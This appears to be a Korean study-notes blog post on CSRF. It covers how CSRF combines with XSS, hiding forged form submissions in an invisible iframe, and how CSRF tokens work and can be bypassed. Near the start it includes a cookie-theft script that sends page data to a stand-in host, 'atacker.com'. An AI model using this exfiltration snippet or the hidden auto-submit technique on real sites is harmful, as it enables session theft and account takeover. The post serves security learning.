
< 서버 측 공격 >
- SQL Injection
< 클라이언트 측 공격 >- XSS
- CSRF
<iframe>을 이용해 같은 Origin의 다른 페이지를 불러오고
쿠키 탈취 SCRIPT 예시
<iframe id='myFrame' src="mypage.php"></iframe>
<script>
var myFrame = document.getElementById('myFrame');
var data = myFrame.content.Document.getElementBy__;
var i = new Image();
i.src = "http://atacker.com/?cookie=" + data;
</script>
🕵️♀️ CSRF (Cross Site Request Forgery)
• 한마디로 요청을 위조하는 것이다 !
➡️ 사용자가 의도하지 않은 요청을 서버에 보내도록 유도하는 공격
➡️ 공격자가 피해자가 의도하지 않은 요청을 서버에 보내도록 만들어, 서버가 공격자가 원하는 동작을 수행하게 하는 것
👉 (예시) 비밀번호 변경 요청하는 URL
→ 링크 클릭하는 순간 비밀번호를 변경하는 요청이 서버에게 전송됨. → 피해자 모르게 공격자가 원하는 비밀번호로 변경됨.
XSS는 클라이언트 측의 스크립트를 삽입하여 실행하게 만드는 공격이고,
CSRF는 스크립트를 삽입하지 않아도 피해자가 의도하지 않은 요청을 서버로 보내도록 유도하여 공격자가 원하는 동작을 수행하게 만드는 공격이다.
🕵️♀️ 이것들의 차이점은?
=> XSS는 클라이언트측에서 실행하는 악성스크립트를 삽입하는 공격
=> CSRF는 피해자가 서버로 의도하지 않은 요청을 하게 만드는 공격
🔸
CSRF와XSS는 결합되면 공격 효과가 극대화 된다 !
↳ XSS가 있으면 굳이 사용자가 URL을 직접 클릭하지 않아도 공격자가 원하는 요청을 자동으로 보내게 할 수 있다.
↳ (ex) 게시판에 게시글에 XSS 취약점 존재 有
→ 게시글에 비밀번호를 변경하는 CSRF 요청을 자동으로 수행하는 스크립트 삽입
→ 게시글을 클릭한 유저들은 모두 공격자가 원하는 비밀번호로 변경됨
❓
XSS가 없으면CSRF는 불가능한가?
🅰️ ) 아니요 !
- XSS가 없어도 사용자를 속여서 조작된 URL을 클릭하게 하면 의도하지 않은 요청을 보낼 수 있기 때문에 CSRF는 여전히 가능 !
- 예를 들어, 서버가 GET 요청만으로 비밀번호 변경을 허용한다면,
공격자가 파라미터 값을 바꿔서 만든 URL을 피해자가 클릭하도록 유도하여
사용자가 의도하지 않는 요청을 보냄으로써 공격자가 원하는 비밀번호로 변경을 할 수 있다.
- 하지만, 비밀번호 변경 같은 민감한 요청은 보통 POST로 동작하므로,
단순 URL만으로는 CSRF가 어렵고, 이런 경우 XSS나 자동 폼 전송 스크립트와 결합하면
피해자가 직접 클릭하지 않아도 위조된 요청을 보낼 수 있다.
💁♀️ TIP.
실무에서는 CSRF를 발견하면 XSS도 함께 샅샅이 찾아냄.
둘이 결합되면 공격 효과가 훨씬 커지기 때문에 보고서에 연계 취약점으로 작성하면 좋음.
❓
CSRF는 어디에서 발생하나요?
- CSRF는 요청을 위조하거나 사용자가 의도하지 않은 요청을 보내도록 만드는 공격이다.
- 이론적으로 "모든 요청에서 CSRF가 발생할 수 있다"
↳ 즉, 공격자가 임의로 요청을 만들어 보낼 수 있다면, 그건 CSRF가 될 수 있다고 판단 가능함.
↳ 실제로는 컨설턴트가 공격자가 활용 가능하다고 판단되면 CSRF로 리포트에 작성함
(컨설턴트의 주관이 들어감)
📌 예시
게시판 글 수정, 댓글 수정은 비교적 영향도가 낮을 수 있지만, 비밀번호 변경, 마이페이지 개인정보 변경과 같이
민감한 요청이라면 CSRF로 판단해 리포트에 반드시 포함해야 한다.
❓ CSRF가 불가능한 케이스는?
예: 인증정보를 검증하지 않는 비밀번호 변경 같은 경우 URL 파라미터로만 새 비밀번호를 받으면 공격자가 링크를 만들 수 있겠지만,
대부분의 서비스는 기존 비밀번호(Old Password)를 추가로 입력받아야 하기 때문에 단순한 GET 요청만으로는 변경이 불가능합니다.
즉, 공격자가 임의로 요청을 만들 수 없으므로 CSRF가 어렵습니다.
- 🧔 링크니까
GET요청을POST요청으로 바꾸면 CSRF를 막을 수 있을까?
↳ 💁♀️ 반만 맞는 말.
- CSRF 취약점의 핵심 ➡️ 요청에 인증정보(위조 여부 판별할 정보)가 없다는 것 !
GET이든POST든 서버가 요청의 진위를 검증할 방법이 없다면
공격자는 요청을 마음대로 위조가 가능하다.
POST로 바꾸면 단순 링크 클릭으로는 위조 요청을 보내기 어렵다.
POST요청방식인 경우에는 "폼 자동 제출"을 하는 공격을 하면 된다.
- 그런데 폼 자동 제출을 하려면 스크립트를 실행해야 하고,
이를 위해서는 XSS 취약점이 필요 !!
그래서POST로 바꾼다고 해서 완전히 안전한 건 아니고,
CSRF Token같은 추가적인 검증 수단이 필요하다. (CSRF 토큰도 xss와 결합되면 탈취 가능하긴 함)
🔸 이메일 변경하는 경우

➡️ 파라미터 (email=normal%40test.com)만 있고, 인증정보가 없음 !
➡️ 즉, 이 요청은 파라미터만 바꿔서 임의의 요청을 만들어 보낼 수 있기때문에 CSRF 공격이 가능 !
➡️ 공격자는 POST 요청의 body부분에 폼 태그를 만들어서 자동 제출되게 하면, 피해자 모르게 요청을 보낼 수 있다.

➡️ 자바스크립트를 이용하여 자동으로 폼이 제출되게 만듦.

👉 여기로 이동됨
➡️ 게시판 글에 스크립트를 삽입했기 때문에, 피해자가 게시판 글을 클릭하면 마이페이지로 이동하게 됨.
➡️ 그런데 이렇게 다른 페이지로 이동되면, 스크립트는 게시판 페이지에서 실행되던 컨텍스트를 잃어버리기 때문에 더 이상 실행되지 않음.
➡️ 즉, 게시판 글을 클릭한 순간에는 스크립트가 실행되지만, 이동된 마이페이지에서는 스크립트의 효력이 사라진다는 점이 조금 아쉽.

👉 이 결과(마이페이지)를 <iframe>으로 불러오자 !
➡️ 즉, 폼 태그로 요청한 결과를 새 페이지로 이동시키지 않고, iframe안에 그대로 출력하면 스크립트 실행 컨텍스트를 잃지 않음.
✔️ action: 사용자가 폼을 제출하면 입력값들을 해당 URL로 전송함.
✔️ target: 폼 제출 후 결과를 어디에 표시할지 지정 (결과를 보여줄 위치)
👉 실행 결과


➡️ 근데 iframe이 보이면 사용자가 이상하게 생각할 수 있으니까, iframe의 너비와 높이를 0으로 설정하여 화면에 보이지 않도록 숨김처리하자.
👉 실행 결과


➡️ 점같은게 하나 보임. 사용자가 이상하게 생각할 수 있으니까 점이 안보이게 style="display:none"으로 iframe 자체가 안보이게 만들자.
👉 실행 결과

➡️이제 iframe도 화면에 보이지 않아서 사용자가 전혀 의심하지 않을 것 같다.
➡️ 그동안 백그라운드에서는 이메일 변경 요청이 서버로 전송되고 있는 상태다.
➡️ CSRF 공격을 방지하기 위해 사용되는 임의의 난수값
- 서버가 사용자 세션과 연결하여 발급하고,
사용자가 제출하는 요청에 포함되도록하여 요청의 진위를 검증!
👉 CSRF 토큰이 언제 어떻게 생성되는지는 2가지 방식이 있다.
- 폼 (페이지) 접근 시 → 매번 CSRF 토큰이 새로 생성됨
- 세션당 하나의 토큰만 유지하는 방식
↳ 세션 유지되는 동안 동일 토큰 사용
❓마이페이지 접속으로 CSRF 토큰이 여러 개 생성되면, 서버는 최신 토큰만 저장하나요, 아니면 이전 토큰도 유지하나요?
✔️ 일반적으로 폼을 새로 열 때마다 새로운 CSRF 토큰을 생성하고, 그 토큰만 세션에 저장한다.
↳ 즉, 기존 토큰은 덮어쓰여서 사라진다.
↳ 서버는 항상 "가장 최근에 발급한 토큰 1개"만 세션에 저장하고 검증함.
✔️ 유효한 여러개의 다중 토큰을 허용하는 경우도 있지만, 거의 사용되지 않음.
🕵️♀️ < CSRF Token 작동 흐름 >
1️⃣ 서버가 발급
↳ 예를 들어 사용자가 마이페이지에 접근하면, 서버가 세션과 연결된 고유한 토큰을 생성
↳ 폼 데이터 안에<input>태그의hidden속성을 사용하여 CSRF 토큰값을 숨겨서 포함하거나, 요청 헤더로 보냄.
2️⃣ 사용자가 요청 전송
↳ 사용자가 실제로 폼을 제출하면, CSRF 토큰도 함께 전송됨
3️⃣ 서버가 검증
↳ 서버는 요청에 포함된 CSRF 토큰이 세션에 저장된 CSRF 토큰과 동일한지 확인
↳ 일치하지 않으면 위조된 요청으로 판단하고 거부함.
⚠️ < CSRF 토큰의 한계 >
XSS와 연계되면 CSRF 토큰이 의미없음.
↳ XSS 취약점이 있으면 공격자가 브라우저에서 CSRF 토큰을 탈취해 유효한 요청을 만들 수 있기 때문..
- CSRF 토큰이 재사용 되는 경우
↳ 동일한 토큰이 여러 번 재사용되도록 구현되면 공격자는 한번 탈취한 토큰으로 여러번 유효한 요청이 가능해짐.
🟠 예시 1
✔️ 마이페이지 접근할 때마다 CSRF 토큰을 발행.
서버는 사용자가 마이페이지에 접근하면 CSRF 토큰을 새로 생성한 뒤,
이를 세션이나 데이터에베이스에 저장한다.
이후, 비밀번호 변경 요청을 보낼 때는 해당 CSRF 토큰을 함께 전송하고,
서버는 전달받은 CSRF 토큰과 세션(또는 DB)에 저장된 CSRF 토큰을 비교해
요청의 유효성을 확인함 !
➡️ 즉, CSRF 토큰이라는 인증 정보를 요청 파라미터에 함께 담아
서버가 요청의 진위를 확인할 수 있도록 해서 CSRF 공격을 방지하는 것이다!
🟠 예시 2
사용자 1이 마이페이지에 접속하면,
서버는 랜덤한 CSRF 토큰 값을 발급해서 세션에도 저장하고 브라우저에도 저장한다.
이를 통해 사용자가 정상적인 경로(마이페이지)를 통해 접근했는지를 확인할 수 있게 된다.
이후 사용자 1이 비밀번호 변경 요청을 보내면, 서버는 요청에 포함된 CSRF 토큰 파라미터와 세션에 저장된 토큰 값을 비교해서 동일하면 요청을 승인한다.
그래서 공격자는 마이페이지를 거치지 않고 바로 비밀번호 요청만 보내면, CSRF 토큰이 없어서 공격이 차단된다 !
하지만, 우회방법이 존재함.
예를 들어,XSS취약점이 존재한다면, 공격자가<iframe>태그를 이용해
피해자의 브라우저에서 마이페이지에 자동 접속하도록 만든 후,
그 안에서 발급된 토큰 값을 자바스크립트를 이용해 CSRF 토큰 값을 훔쳐올 수 있다면
CSRF 토큰 검증을 우회할 수 있다.
- CSRF 문제 풀이
- CSRF 문제풀이 Write-up 보고서
- 웹 개발